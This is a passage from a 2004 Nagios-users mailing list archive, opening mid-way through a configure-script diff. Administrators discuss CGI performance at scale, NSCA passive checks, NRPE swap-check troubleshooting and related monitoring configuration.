13:42:00.000000000 -0400 *************** *** 2457,2463 **** echo $ac_n "(cached) $ac_c" 1>&6 else ac_save_LIBS="$LIBS" ! LIBS="-lmysqlclient $LIBS" cat > conftest.$ac_ext <&6 else ac_save_LIBS="$LIBS" ! LIBS="-lmysqlclient -lz $LIBS" cat > conftest.$ac_ext <&6 --- 2487,2493 ---- #define $ac_tr_lib 1 EOF ! LIBS="-lmysqlclient -lz $LIBS" else echo "$ac_t""no" 1>&6 From marc at ena.com Thu Mar 11 15:11:30 2004 From: marc at ena.com (Marc Powell) Date: Thu, 11 Mar 2004 08:11:30 -0600 Subject: Large scale network monitoring limits with nagios Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A31F@mismail2.ena.com> Noah Leaman wrote: > Hopes it's o.k. cross posting to both groups on this matter... > > Using the concept of one service per up/down trap for each network > interface, I tested a little by creating a very simple set of nagios > configs, but with about 8000 PASSIVE service checks and no active > service checks. of course there was no problem in terms of scheduling > issues, but the CGIs all crawled to a snails pace. In my setup > (nagios 1.2, Dual G4 first-gen xServe) it takes about 30 secs to > display the Status Summary page. > > Of course that config setup isn't the actual production plan... > > I enabled the closer to real-world configs: > > 552 check_traffic (2 snmpgets running every 10 minutes per service > check storing to an RRD) 295 check_ping (number of locally monitored > hosts) 8389 check_dummy (mostly the up/down Trap and about 100 are > passive services coming from 2 other distributed nagios servers doing > pings and > check_traffics) > > ... So 9236 services all together but this is really just a small > subset of what I would like to be able to do. The plan is to through > hardware at it to spread out the real work being done (i.e. the > active checks). > > But with just this setup, a single CGI take up an entire CPU to run > and for a few minutes a lot of the time... and the plan was to have a > good handful of GUI users (5 ish at a time)... it's just about > unusable with one GUI user. > I can't speak to your issue about how to handle 8000+ traps but from personal experience, the Nagios 1.x cgis do indeed have difficulty with large numbers of hosts. I have over 150 hostgroups defined with some of them having over 1000 hosts and the hostgroup summary takes almost 5 minutes to generate on a quad p3 800. I've got a cron job that simply dumps that to flat file every 5 minutes in the background. The great news is that this has been fixed in 2.0 and now that I have gotten it running, that same page takes less than 5 seconds to generate. That's a significant improvement and I applaud Ethan and the contributor of the chained-hash patch for improving that dramatically. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From res at lanl.gov Thu Mar 11 15:37:40 2004 From: res at lanl.gov (Robert Stewart) Date: Thu, 11 Mar 2004 07:37:40 -0700 Subject: Webish question Message-ID: <1079015860.7481.98.camel@bobspc.lanl.gov> Good Morning; I am fairly new to Nagios and apologize if this issue has been addressed "ad nauseum" in the past. I need to run the nagios client on one system and have the web server running on another. Is there a way to get the nagios information to this "remote" web server? -- Thanks Bob Stewart (res at lanl.gov) mail stop B255 phone = 505-667-9847 ta3, sm1498, room 240 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From leo at abnamroinc.com Thu Mar 11 15:43:41 2004 From: leo at abnamroinc.com (Leo Falkenstein) Date: Thu, 11 Mar 2004 08:43:41 -0600 Subject: Return code of 114 is out of bounds Message-ID: Hi, I was wondering if anyone knew what return code of 114 is out of bounds means. Thanks Leo -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: TEXT.htm URL: From murray at liquidthinking.co.uk Thu Mar 11 15:46:48 2004 From: murray at liquidthinking.co.uk (Murray Crane) Date: Thu, 11 Mar 2004 14:46:48 +0000 Subject: Distributed Woes - Passive Check Results not being submitted to Master Message-ID: You'll have to forgive me, I've only just subscribed to the list and I'm fighting again by webmail access to the account I subscribed from. Ethan, In much the same way as AJ, I have a two server setup - Debian Woody on the Distrib Server, FreeBSD 5.1 on the Central Server; currently I have only PINGs on the distributed server (during testing). From what I can see in the debug.log on the central servier, traffic is incoming to nsca correctly, and nsca appears to be accepting it: Mar 11 14:30:09 godzilla nsca[1166]: Connection from 212.104.150.9 port 49066 Mar 11 14:30:09 godzilla nsca[1166]: Host address checks out ok Mar 11 14:30:38 godzilla nsca[1166]: Connection from 212.104.150.9 port 49322 Mar 11 14:30:38 godzilla nsca[1166]: Host address checks out ok And so on... The trouble is, that's the last I see of the passive check traffic; it never makes it onto the webpages. I have tried manually submitting passive check results from the Distrib Server; they too are seen by debug.log but not by nagios, and I have submitted passive checks from the web frontend and five hours later the freshness checker kicks in and CRITICALs the services. Saw your reply to AJ on this thread, and implemented the changes suggested - traffic is still flowing to nsca but not onto the webspace. Any further suggestions? Murray Crane ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From renders at cknxradio.com Thu Mar 11 15:46:15 2004 From: renders at cknxradio.com (Rob Enders) Date: Thu, 11 Mar 2004 09:46:15 -0500 Subject: Discrete I/O monitoring suggestion In-Reply-To: References: Message-ID: Hi all.. I have been using Netsaint for several years to monitor various systems within our radio station including audio silence sensors, fire alarm, etc. This system is running on fairly low end hardware, Redhat 6 and uses the button contacts on two game ports. Works fine but can only handle 8 inputs, and is getting old.. I am planning to rebuild using Nagios running on Sentinix, a recent LFS implementation that includes Nagios, Nagat, Snort, Cacti and lots of other very useful tools. I have been experimenting with a low cost DAC card called the Velleman K8000 and some software called KEL. The card includes 16 discrete assignable i/o, 8 8bit outputs, 1 16bit output and 4 16bit inputs. The software is a compiled script that offers unlimited flexibity for automation monitoring and control.. It even includes a tcpip interface for polling and control.. More info can be found at these locations, http://perso.wanadoo.fr/2oo2/k8housealarm/, http://www.velleman.be/ Any thoughts, comments and suggestions are welcome.. Rob ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jason at teklabs.net Thu Mar 11 16:29:44 2004 From: jason at teklabs.net (Jason Lancaster) Date: Thu, 11 Mar 2004 10:29:44 -0500 Subject: [Nagios-users] Large scale network monitoring limits with nagios In-Reply-To: References: Message-ID: <405085E8.5050405@teklabs.net> Noah Leaman wrote: > Using the concept of one service per up/down trap for each network > interface, I tested a little by creating a very simple set of nagios > configs, but with about 8000 PASSIVE service checks and no active > service checks. of course there was no problem in terms of scheduling > issues, but the CGIs all crawled to a snails pace. In my setup (nagios > 1.2, Dual G4 first-gen xServe) it takes about 30 secs to display the > Status Summary page. > > ... So 9236 services all together but this is really just a small > subset of what I would like to be able to do. The plan is to through > hardware at it to spread out the real work being done (i.e. the active > checks). > > But with just this setup, a single CGI take up an entire CPU to run > and for a few minutes a lot of the time... and the plan was to have a > good handful of GUI users (5 ish at a time)... it's just about > unusable with one GUI user. I'm using a distributed environment of 4 servers to monitor 6200 services so I'm not displaying quite as much as you but I am close. My designated central server that runs the cgi's is a dual AMD 2200 with 3gb of ram. I am not using 1.2, I am using 1.1 with a cgi patch submitted to the devel list by David Parrish. Viewing cgi's as an admin user who has access to all services/hosts causes no problems for me. I have not tested 1.2 because 1.1 works quite well for me and I have not wanted any headaches. The only complaint I have about the cgi's after the patch is that they take up between 20-50% of a cpu every time someone loads them up. If too many people in the company are browsing around things can get really slow. I used to cache some of the pages every few minutes but I just didn't like the idea of caching the data. > How to monitor traps for hundreds of network hosts and tens of > thousands different interfaces each of which could generate up/down > traps along with other traps. I tried setting up a single "catch-all" > trap service per host, but notification would need to occur when going > from and OK to another OK (with a different output). Shouldn't this > work with is_volatile on and stalking_options set to o,w,u,c (every > test I've done to get this working from OK to OK doesn't work... but > maybe I missed something). Mmmm, this is def a users question. Personally, I do not use the volatile option because we rely entirely on web interfaces (no email notifications) to let us know what is going on. I have a "trap server" running a "snmptrapd log watcher" program which watches the snmptrapd log for events. If a failure on a device triggers a trap with a oid that is recognized it flags the service as critical until someone acknowledges it in the web interface. Lots of people have other ways of accomplishing this. > So the higher level question here is am I over my head in what or how > I can do this with nagios? After tackling the network monitoring > needs, the plan was to then start the server monitoring (around 1000 > servers of many platforms). If I ever migrate to 1.2, I'll be sure to let the list know if I have cgi slowness. Jason ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click From andre.bergei at ementor.no Thu Mar 11 16:18:27 2004 From: andre.bergei at ementor.no (Andre Bergei) Date: Thu, 11 Mar 2004 16:18:27 +0100 Subject: [Nagios-devel] Large scale network monitoring limits with nagios Message-ID: <3C8515D9676BF9479F7EF3545B63AA220B2103@100NOOSLMSG001.common.alpharoot.net> >I tested a little by creating a very simple set of nagios > configs, but with about 8000 PASSIVE service checks and no active > service checks. of course there was no problem in terms of scheduling > issues, but the CGIs all crawled to a snails pace. In my > setup (nagios > 1.2, Dual G4 first-gen xServe) it takes about 30 secs to display the > Status Summary page. Our Dual Xeon 2.8 Ghz central handels around 7000 passive checks (from nsca), and the service detail and host detail views are useless if we call the status.cgi with the "group=any" flag. The data crunching takes about 12 seconds on the server side, not to bad, but to display the data takes a long time, because the client side rendering of the html is CPU intensive. My mozilla process locks the cpu at 99% during the rendering process. So we parse the config files and present links to each customer group, to avoid large html dumps, so for now 7000 checks is ok in the web interface. We plan to scale up to 30.000 service checks (snmp), so we need to optimize performance of the cgi's, maybe write our own cgi's, but we want do avoid that, we want to try some tricks first. Our central will get very busy processing passive service checks, so we will migrate The web server to a beefy standalone web server, so the cpu intensive cgi's dont mess up with the processing of the service checks, and to have dedicated cpu's for CGI data crunching. When we compiled the cgi's with optimized flags, we got 23% performance increase, pretty good, so it will be interesing to see if we get any performace increase with a Gentoo server setup from stage1, and the 2.6 kernel, maybe another 10% increase.. In the end, no matter what we do with hardware, or optimized settings, 30k service checks Will result in a slow web interface, but maybe still usable, we'll see. How are the performance of the Nagios 2.0 cgi's, any singificant improvement? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 11 16:25:25 2004 From: marc at ena.com (Marc Powell) Date: Thu, 11 Mar 2004 09:25:25 -0600 Subject: Webish question Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A320@mismail2.ena.com> On Thursday, March 11, 2004 8:38 AM, Robert Stewart shared with us: > Good Morning; > > I am fairly new to Nagios and apologize if this issue has been > addressed "ad nauseum" in the past. > > I need to run the nagios client on one system and have the web server > running on another. Is there a way to get the nagios information to > this "remote" web server? If they're local to each other, exporting /usr/local/nagios over NFS and mounting it on the remote machine will work for a view-only front end. I say view-only because I am not sure if you would be able to issue commands. I don't know how NFS handles named pipes like the command file. I believe that nfsv2 can deal with them but I haven't tried it. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sundar.narayanasamy at medtronic.com Thu Mar 11 16:29:47 2004 From: sundar.narayanasamy at medtronic.com (Narayanasamy, Sundar) Date: Thu, 11 Mar 2004 08:29:47 -0700 Subject: newbie (check_nrpe) check_swap on a remote ssytem Message-ID: Thank you. It did not work still. Any other suggestion. Sundar -----Original Message----- From: carole verdon [mailto:verdon at cict.fr] Sent: Thursday, March 11, 2004 2:00 AM To: Narayanasamy, Sundar Subject: Re: [Nagios-users] newbie (check_nrpe) check_swap on a remote ssytem I think you would must to try the changes follow: checkcommands.cfg -------------------- 'check_nrpe' command definition define command{ command_name check_nrpe command_line $USER1$/check_nrpe -H $HOSTADDRESS$ -c $ARG1$ } services.cfg ------------ # Service definition define service{ use generic-service ; Name of service template to use host_name mordac service_description swap Space is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups unix-admins notification_interval 120 notification_period 24x7 notification_options w,u,c,r check_command check_nrpe!check_swap } Carole Verdon. Narayanasamy, Sundar wrote: >Hello, > >I installed NRPE to monitor swap space on remote system. I get following > > >swap Space | WARNING | 03-10-2004 15:32:52 | 0d 0h 0m 19s | 3/3 | NRPE: Unable to read output > >I have following in the host > > checkcommands.cfg >-------------------- >'check_nrpe' command definition >define command{ > command_name check_nrpe > command_line $USER1$/check_nrpe -H $ARG1$ -c $ARG2$ > } > >services.cfg >------------ ># Service definition >define service{ > use generic-service ; Name of service template to use > > host_name mordac > service_description swap Space > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups unix-admins > notification_interval 120 > notification_period 24x7 > notification_options w,u,c,r > check_command check_nrpe!mordac!check_swap > } > > >On the remote system > >command[check_swap]=/usr/local/nagios/libexec/check_swap -w 70% -c 80% > >Both host and remote client are running Solaris 8. I am running nagios 1.2 and nrpe-1.9_3-sol8-sparc-local. > >Any help is appreciated. > >Sundar > > >------------------------------------------------------- >This SF.Net email is sponsored by: IBM Linux Tutorials >Free Linux tutorial presented by Daniel Robbins, President and CEO of >GenToo technologies. Learn everything from fundamentals to system >administration.http://ads.osdn.com/?ad_id70&alloc_id638&op?k >_______________________________________________ >Nagios-users mailing list >Nagios-users at lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/nagios-users >::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. >::: Messages without supporting info will risk being sent to /dev/null > > > > > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jbautista at intercable.net.ve Thu Mar 11 17:00:53 2004 From: jbautista at intercable.net.ve (Jeyri bautista) Date: Thu, 11 Mar 2004 12:00:53 -0400 Subject: Add mib files to /usr/share/snmp/mibs Message-ID: <014401c40782$0846b110$2605020a@bjeyri> Hi, I?m receiving snmp traps with my nagios, but I need add other mib files to can receive other traps types, but when I copy the new mib file to the path /usr/share/snmp/mibs all my check_snmp goes to warning state. I read the faq, but I don?t understood how to solve that. I don?t know if I have to do other thing that copy the mib in the path. Anybody can help me, Thanks, Jeyri -------------- next part -------------- An HTML attachment was scrubbed... URL: From marc at ena.com Thu Mar 11 17:02:49 2004 From: marc at ena.com (Marc Powell) Date: Thu, 11 Mar 2004 10:02:49 -0600 Subject: newbie (check_nrpe) check_swap on a remote ssytem Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A322@mismail2.ena.com> On Thursday, March 11, 2004 9:30 AM, Narayanasamy, Sundar shared with us: > Thank you. It did not work still. Any other suggestion. > > Sundar > > -----Original Message----- > From: carole verdon [mailto:verdon at cict.fr] > Sent: Thursday, March 11, 2004 2:00 AM > To: Narayanasamy, Sundar > Subject: Re: [Nagios-users] newbie (check_nrpe) check_swap on a > remote ssytem > > > I think you would must to try the changes follow: > > checkcommands.cfg > -------------------- > 'check_nrpe' command definition > define command{ > command_name check_nrpe > command_line $USER1$/check_nrpe -H $HOSTADDRESS$ -c $ARG1$ > } > > services.cfg > ------------ > # Service definition > define service{ > use generic-service ; > Name of service template to use > > host_name mordac > service_description swap Space > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups unix-admins > notification_interval 120 > notification_period 24x7 > notification_options w,u,c,r > check_command check_nrpe!check_swap > } It seems to me that you need to try stepping through each stage of the process and find out what part is failing. It looks pretty clear to me that one or more steps are not executing as you think they are. I would 1) run 'check_nrpe -H
-c check_swap' on your Nagios server as the nagios user and see if there are any error messages displayed. 2) run the check_swap command as it is defined in nrpe.cfg on the remote machine as the user that nrpe runs as and see if there are any error messages displayed. 3) verify that your Nagios server is defined as an allowed_host in nrpe.cfg (by IP, not hostname) 4) enable debugging in nrpe.cfg and try 1) again. One or more of those should point you in the right direction. You don't say whether nrpe is running out of (x)inetd or as a daemon. If it's run out of (x)inetd, make sure there are no TCP wrapper restrictions that are preventing the connection from the Nagios machine. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From GWCOOK at mactec.com Thu Mar 11 17:49:32 2004 From: GWCOOK at mactec.com (Cook, Garry) Date: Thu, 11 Mar 2004 09:49:32 -0700 Subject: [Nagios-users] Large scale network monitoring limits with nagios Message-ID: <41FD7929498A174DAB86C45F28E0EC0D3EA3D0@golden-m.mactec.com> > network monitoring limits with nagios > > Noah Leaman wrote: > >> Using the concept of one service per up/down trap for each network >> interface, I tested a little by creating a very simple set of nagios >> configs, but with about 8000 PASSIVE service checks and no active >> service checks. of course there was no problem in terms of scheduling >> issues, but the CGIs all crawled to a snails pace. In my setup >> (nagios >> 1.2, Dual G4 first-gen xServe) it takes about 30 secs to display the >> Status Summary page. >> >> ... So 9236 services all together but this is really just a small >> subset of what I would like to be able to do. The plan is to through >> hardware at it to spread out the real work being done (i.e. the >> active checks). >> >> But with just this setup, a single CGI take up an entire CPU to run >> and for a few minutes a lot of the time... and the plan was to have a >> good handful of GUI users (5 ish at a time)... it's just about >> unusable with one GUI user. Has anyone tried recompiling the cgis using FastCGI? If so, are there any caveats? Currently, I don't have enough service checks to slow down my cgis, although this could become an issue in the near future. Wondering if this is an option that I should explore? Garry W. Cook, CCNA Network Infrastructure Manager MACTEC, Inc. - http://www.mactec.com/ 303.308.6228 (Office) - 720.220.1862 (Mobile) ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click From sundar.narayanasamy at medtronic.com Thu Mar 11 17:09:21 2004 From: sundar.narayanasamy at medtronic.com (Narayanasamy, Sundar) Date: Thu, 11 Mar 2004 09:09:21 -0700 Subject: newbie (check_nrpe) check_swap on a remote ssytem Message-ID: Thanks lot. Debugging did work. 'swap' wasn't in the path for the client. Thanks very much. Sundar -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Thursday, March 11, 2004 9:03 AM To: Narayanasamy, Sundar; verdon at cict.fr; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] newbie (check_nrpe) check_swap on a remote ssytem On Thursday, March 11, 2004 9:30 AM, Narayanasamy, Sundar shared with us: > Thank you. It did not work still. Any other suggestion. > > Sundar > > -----Original Message----- > From: carole verdon [mailto:verdon at cict.fr] > Sent: Thursday, March 11, 2004 2:00 AM > To: Narayanasamy, Sundar > Subject: Re: [Nagios-users] newbie (check_nrpe) check_swap on a > remote ssytem > > > I think you would must to try the changes follow: > > checkcommands.cfg > -------------------- > 'check_nrpe' command definition > define command{ > command_name check_nrpe > command_line $USER1$/check_nrpe -H $HOSTADDRESS$ -c $ARG1$ > } > > services.cfg > ------------ > # Service definition > define service{ > use generic-service ; > Name of service template to use > > host_name mordac > service_description swap Space > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups unix-admins > notification_interval 120 > notification_period 24x7 > notification_options w,u,c,r > check_command check_nrpe!check_swap > } It seems to me that you need to try stepping through each stage of the process and find out what part is failing. It looks pretty clear to me that one or more steps are not executing as you think they are. I would 1) run 'check_nrpe -H
-c check_swap' on your Nagios server as the nagios user and see if there are any error messages displayed. 2) run the check_swap command as it is defined in nrpe.cfg on the remote machine as the user that nrpe runs as and see if there are any error messages displayed. 3) verify that your Nagios server is defined as an allowed_host in nrpe.cfg (by IP, not hostname) 4) enable debugging in nrpe.cfg and try 1) again. One or more of those should point you in the right direction. You don't say whether nrpe is running out of (x)inetd or as a daemon. If it's run out of (x)inetd, make sure there are no TCP wrapper restrictions that are preventing the connection from the Nagios machine. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From GWCOOK at mactec.com Thu Mar 11 17:30:08 2004 From: GWCOOK at mactec.com (Cook, Garry) Date: Thu, 11 Mar 2004 09:30:08 -0700 Subject: network with 70 switches and routers Message-ID: <41FD7929498A174DAB86C45F28E0EC0D3EA3CE@golden-m.mactec.com> > I am completely new to nagios. > > I have a network with about 70 switches and routers from cisco. > > 1. Is it sensible or possible to use nagios with cisco devices. IMHO, it is BOTH sensible and possible. The latter part of that is actually fact, not opinion. I monitor over 150 Cisco devices using Nagios, as well as many HP switches, Nokia Firewalls, Windows and Linux servers. I don't monitor printers, but other people do. On my Cisco gear I monitor interface states, cpu usage, memory usage, BGP sessions, environment variables (temperature and whatnot), bandwidth usage (cooperation with MRTG here), and have written a plugin to backup my router/switch configs to a tftp server. > 2. My boss wants to know how many hours it takes to work > oneself into the > subject and to integrate these 70 devices into nagios, > if you are completely new to nagios. Has someone experience ? I would guess everyone on the list has experience being completely new to Nagios. However, the setup time involved will vary depending on the user. Are you also completely new to Linux? If not, then I would bet that it will take you a 'reasonable' amount of time. Just make sure that you use the template config file setup, as this will save you a great deal of configuration time. Garry W. Cook, CCNA Network Infrastructure Manager MACTEC, Inc. - http://www.mactec.com/ 303.308.6228 (Office) - 720.220.1862 (Mobile) ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Thu Mar 11 17:41:55 2004 From: pla at softflare.com (Paul L. Allen) Date: Thu, 11 Mar 2004 16:41:55 +0000 Subject: Large scale network monitoring limits with nagios In-Reply-To: References: Message-ID: <20040311164155.13152.qmail@minnow.softflare.net> Daniel Henninger writes: > If it runs slow with 8000+ hosts, you might want to run a job that > generates a static page, that gets auto-regenerated "as often as > possible". That way, at least there's only one connection that has to > wait a long time, and the folk connecting to your interface would only > have to wait on the brief static page load. How about something like this? Set up two Nagios processes. Could be on different servers or on the same server. One has every useful trap for every device of interest defined as a service (pretty much what he has now). It submits passive check results. However, instead of the standard submit_check_results script, he uses something else that has some smarts. That something else would have to retain the state of every service somehow. When called, it would update the relevant bit of state info (which would record host/service/status) and then check the statuses of all the services for the host it just received a trap for: if any of those retained service statuses are critical, it treats the host as critical; if none of the service statuses are critical but there is at least one warning then it treats the host as in a warning state; if all of the statuses are OK then the host is OK. Finally, it passes on that host status to the other Nagios process as a pseudo service result (say "health check"). That way you'd only have one service for each device on the Nagios that receives the passive checks but you'd have all the services on the other Nagios. The Nagios receiving the passive checks would be the one you'd normally look at, but if there is a problem you could look at the other Nagios for more details (there might be more than one service with problems). Implementation is, of course, left as an exercise for the reader. Figuring out a way of retaining all that state info efficiently, with low access overhead, etc., is the hard bit, especially if you want it to scale well, because ideally you want a database but the overhead of connecting to a database for each update/query would be high. I would be tempted to do the state retention with some sort of daemon that the submission script talks to over a named pipe; the daemon could be passed host/service/etc, communicate with the database (to which it would have a persistent connection), and return current overall status, name of the most recent service to enter that state and the reason it did so. If you write the daemon in perl, you could make use of its hashes to create an in-memory database. The upside is that it's likely to be faster. The downside is that it loses saved state if you have to restart it. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Thu Mar 11 18:15:55 2004 From: james at expresscomputers.com (James Bowes) Date: Thu, 11 Mar 2004 09:15:55 -0800 Subject: ms exchange services monitoring Message-ID: Hi all. I have set up Nagios (1.2) on Red Hat 8.0. It's working fine for simple disk checks using nsclient. Now comes the fun part - checking Windows Exchange related services. After having gone through the documentation, FAQ's and reading through Square Box's site I attempted to check the services I wanted to know about like this: # Service definition define service { use generic-service ; Name of service template to use host_name sim.testbox.net service_description check_nt_service is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups nt-admins notification_interval 120 notification_period 24x7 notification_options c,r check_command check_nt_service!Microsoft Exchange Information Store } The related hosts.cfg and escalations.cfg are configured fine and no errors occur when I run the command: /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg I am able to reload the nagios config without problems. After the service check, a service warning shows the service I am checking is unknown. Does anyone have an idea for me to try with this? Thanks for any and all responses. Regards, James Bowes, Senior Consultant, Express Computer Service Centre. 604-535-6508 ext.305 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From murray at liquidthinking.co.uk Thu Mar 11 18:26:55 2004 From: murray at liquidthinking.co.uk (Murray Crane) Date: Thu, 11 Mar 2004 17:26:55 +0000 Subject: Distributed Woes - Passive Check Results not being submitted to Master Message-ID: Further to my last, I've been fiddling this afternoon and during one of my test runs, I started nsca in --daemon mode; during this test I noticed that nsca was merrily spawning processes but that none of them was dying... is this indicative of anything (Like an inability to write to the named pipe or sommat???) All suggestions greatfully received. Murray Crane Network Administrator LiquidThinking Ltd ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From nagios at sbtt.net Thu Mar 11 18:45:52 2004 From: nagios at sbtt.net (Steve) Date: Thu, 11 Mar 2004 12:45:52 -0500 Subject: check_http In-Reply-To: <370ACCFA5BB3B346A31222E5559BF91F03A2ED@mismail2.ena.com> References: <370ACCFA5BB3B346A31222E5559BF91F03A2ED@mismail2.ena.com> Message-ID: <4050A5D0.40005@sbtt.net> that nailed it, thanks marc saw the posts regarding the -w -c switches but have a simular issue with check_http someone posted a perl script back in november but I've been unable to get it to work the way I'd like.. want to use -c -w within the check_http for content found from the http request instead of response time, kinda like how snmp uses -w -c.. check_http -H ip -p 1111 -a id:passwd -w 8000000 -c 10000000 -u /check?mem how to define: -w 8mb mem -c 10mb mem limit cheers -s Marc Powell wrote: >On Wednesday, March 03, 2004 2:47 PM, Steve shared with us: > > > >>how can I report an error if content is found via something like: >> 